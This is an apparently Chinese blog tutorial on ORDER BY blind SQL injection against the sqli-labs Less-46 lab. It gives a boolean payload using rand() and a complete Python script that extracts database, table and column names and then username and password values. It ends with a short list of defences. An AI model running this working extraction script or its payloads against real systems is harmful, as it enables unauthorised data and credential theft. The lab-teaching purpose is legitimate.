SQL之order by盲注

目录

[一.order by盲注的原理](#一.order by盲注的原理)

二.注入方式

a.布尔盲注

b.时间盲注

三.防御


一.order by盲注的原理

order by子句是用于按指定列排序查询结果,列名或列序号皆可。

order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。

order by 盲注利用的就是这一点。

二.注入方式

环境为sqli-labs的46关,参数为sort传入id

a.布尔盲注

传入1时

传入2时

传入3时

不同字段的顺序是不同的,根据这个结果,我们可以用rand()实现盲注

复制代码
?sort=rand(ascii(substr((select database()),1,1))>114)

转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb

下面是脚本内容

复制代码
import time
import requests
from bs4 import BeautifulSoup

def inject_database(url): #库
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)
            res = {"sort": payload}
            r = requests.get(url, params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getusername = soup.find_all('td')[1].text
            if getusername == 'admin3':
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
    return dataname

def inject_tables(url, database_name):#表
    tables = []
    for i in range(0, 10): 
        table_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)
                res = {"sort": payload}
                r = requests.get(url, params=res)
                html = r.text
                soup = BeautifulSoup(html,'html.parser')
                getusername = soup.find_all('td')[1].text
                if getusername == 'admin3':
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if mid == 32:
                break
            table_name += chr(mid)
        if table_name:
            tables.append(table_name)
            print(f"Table {i+1}: {table_name}")
    return tables

def inject_columns(url, database_name, table_name):#列
    columns = []
    for i in range(0, 10): 
        column_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)
                res = {"sort": payload}
                r = requests.get(url, params=res)
                html = r.text
                soup = BeautifulSoup(html,'html.parser')
                getusername = soup.find_all('td')[1].text
                if getusername == 'admin3':
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if mid == 32:
                break
            column_name += chr(mid)
        if column_name:
            columns.append(column_name)
            print(f"Column {i+1}: {column_name}")
    return columns

def inject_data(url, database_name, table_name, column_name):#数据
    data = []
    for i in range(0, 10): 
        row_data = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)
                res = {"sort": payload}
                r = requests.get(url, params=res)
                html = r.text
                soup = BeautifulSoup(html,'html.parser')
                getusername = soup.find_all('td')[1].text
                if getusername == 'admin3':
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if mid == 32:
                break
            row_data += chr(mid)
        if row_data:
            data.append(row_data)
            print(f"Row {i+1}: {row_data}")
    return data

if __name__ == '__main__':
    url = 'http://127.0.0.1/sqli/Less-46/'
    database_name = inject_database(url)
    print(f"Database Name: {database_name}")

    tables = inject_tables(url, database_name)
    print(f"Tables: {tables}")

    if tables:
        columns = inject_columns(url, database_name, tables[3])
        print(f"Columns: {columns}")
        
        if columns:
            username = inject_data(url, database_name, tables[3], columns[1])
            password = inject_data(url, database_name, tables[3], columns[2])
            print(f"Data: {username}")
            print(f"Data: {password}")

b.时间盲注

时间盲注不依赖页面内容,直接通过响应时间判断条件,因此无需解析html

三.防御

1.预编译,如PHP的PDO

2.最小权限原则,限制数据库用户权限,仅允许执行必要的操作。

3.输入长度限制

4.部署WAF

相关推荐
科技小花4 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
一江寒逸4 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain4 小时前
linux个人心得22 (mysql)
数据库·mysql
阿里小阿希4 小时前
CentOS7 PostgreSQL 9.2 升级到 15 完整教程
数据库·postgresql
荒川之神4 小时前
Oracle 数据仓库雪花模型设计(完整实战方案)
数据库·数据仓库·oracle
做个文艺程序员4 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
不吃香菜学java5 小时前
Redis简单应用
数据库·spring boot·tomcat·maven
一个天蝎座 白勺 程序猿5 小时前
Apache IoTDB(15):IoTDB查询写回(INTO子句)深度解析——从语法到实战的ETL全链路指南
数据库·apache·etl·iotdb
不知名的老吴5 小时前
Redis的延迟瓶颈:TCP栈开销无法避免
数据库·redis·缓存
YOU OU5 小时前
三大范式和E-R图
数据库